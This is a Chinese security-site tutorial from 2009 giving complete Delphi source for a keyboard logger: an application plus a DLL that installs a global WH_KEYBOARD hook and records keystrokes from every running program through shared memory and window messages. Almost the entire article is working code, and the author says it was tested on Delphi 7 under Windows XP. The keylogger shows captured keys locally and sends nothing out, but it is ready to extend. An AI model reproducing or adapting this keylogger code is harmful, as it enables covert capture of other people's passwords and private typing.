首页 网络安全 安全学院 查看内容

键盘记录钩子的简单编写和安装

2009-10-7 01:45 527 0

摘要: 先创建内存共享,再安装Dll钩子,挂钩在Keyboard上,这样可以记录所有程序的键盘事件,看代码吧,首先是应用程序的:unit Hookkey;interfaceuses  Windows...
关键词: nbsp FileMapHandle procedure HookStop HookBegin HandleDll begin then Hookkey end

先创建内存共享,再安装Dll钩子,挂钩在Keyboard上,这样可以记录所有程序的键盘事件,看代码吧,首先是应用程序的:unit Hookkey;interfaceuses  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,  Dialogs, StdCtrls;const   WM_HOOKKEY = WM_USER + $1000;      //用户自定义消息   HookDll = 'Key.dll';  //dll文件名type  THookProcedure = procedure;stdcall;  TForm1 = class(TForm)    Memo1: TMemo;    Button1: TButton;    Button2: TButton;    procedure Button1Click(Sender: TObject);    procedure Button2Click(Sender: TObject);  private    { Private declarations }    FileMapHandle : THandle;    PMem :^Integer;    HandleDll : Thandle;    HookBegin,HookStop : THookProcedure;    procedure HookKey(var message:TMessage); Message WM_HOOKKEY;  public    { Public declarations }  end;var  Form1: TForm1;implementation{$R *.dfm}procedure TForm1.Button1Click(Sender: TObject);begin  Memo1.Clear;  HandleDll := LoadLibrary( PChar(ExtractFilePath(Application.ExeName) + HookDll));    //载入钩子dll  if HandleDll = 0 then Raise Exception.Create('未发现钩子DLL文件');  @HookBegin := GetProcAddress(HandleDll,'HookBegin');  @HookStop := GetProcAddress(HandleDll,'HookStop');  if not Assigned(HookBegin) or not Assigned(HookStop) then  Raise Exception.Create('在给定的Dll中'+#13+'未发现所需函数');  FileMapHandle := CreateFileMapping($FFFFFFFF,nil,PAGE_READWRITE,0,SizeOf(Integer),'TestHook');      //创建内存共享  if FileMapHandle = 0 then  Raise Exception.Create('创建内存映射失败');  PMem := MapViewOfFile(FileMapHandle,FILE_MAP_WRITE,0,0,0); //映射到本进程  PMem^ := Handle;  HookBegin;  //开始挂钩end;procedure TForm1.Button2Click(Sender: TObject);begin   if Assigned(HookStop) then   HookStop;   if HandleDll <> 0 then   FreeLibrary(HandleDll);           //释放Dll   if FileMapHandle <> 0 then     begin     UnMapViewOfFile(PMem);     //关闭映射     CloseHandle(FileMapHandle);   //关闭共享     end;end;procedure TForm1.HookKey(var Message : TMessage);var  KeyName : array [0..100] of Char;  Action : String;begin  GetKeyNameText(Message.LParam,@KeyName,100);  if ((Message.LParam shr 31) and 1) = 1  then Action := 'KeyUp'  else  if ((Message.LParam shr 30) and 1) =1 then   Action := 'ReKeyDown'   else Action := 'KeyDown';  Memo1.Lines.Add(Action + ':' + String(KeyName));end;end.再看Dll的:unit hookkeydll;interface   uses windows,messages;const  WM_HOOKKEY = WM_USER + $1000;  Procedure HookBegin;  stdcall;  Procedure HookStop; stdcall;implementation var  HookDe : HHook;  FileMapHandle : THandle;  PViewInteger : ^Integer;function CallBackDelHook(Code : Integer; wParam : WPARAM; lParam : LPARAM) : LRESULT; stdcall;begin if code = HC_ACTION then begin FileMapHandle := OpenFileMapping(FILE_MAP_READ,False,'TestHook'); if FileMapHandle <> 0 then  begin    PViewInteger := MapViewOfFile(FileMapHandle,FILE_MAP_READ,0,0,0);    PostMessage(PViewInteger^,WM_HOOKKEY,wParam,lParam);    UnMapViewOfFile(PViewInteger);    CloseHandle(FileMapHandle);  end; end; Result := CallNextHookEx(HookDe,Code,wParam,lParam)end;procedure HookBegin;stdcall; begin  HookDe := SetWindowsHookEx(WH_KEYBOARD,CallBackDelHook,HInstance,0); end;procedure HookStop;stdcall; begin UnHookWindowsHookEx(HookDe); end;end.Dll的工程文件;Library Key;uses  SysUtils,  windows,  classes,  messages,  hookkeydll in 'hookkeydll.pas';{$R *.res}exportsHookBegin,HookStop;beginend.效果如图:以上代码均为本人一句一句敲写,并在Delphi7,windowsxp下调试通过,转载请注明出处。
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部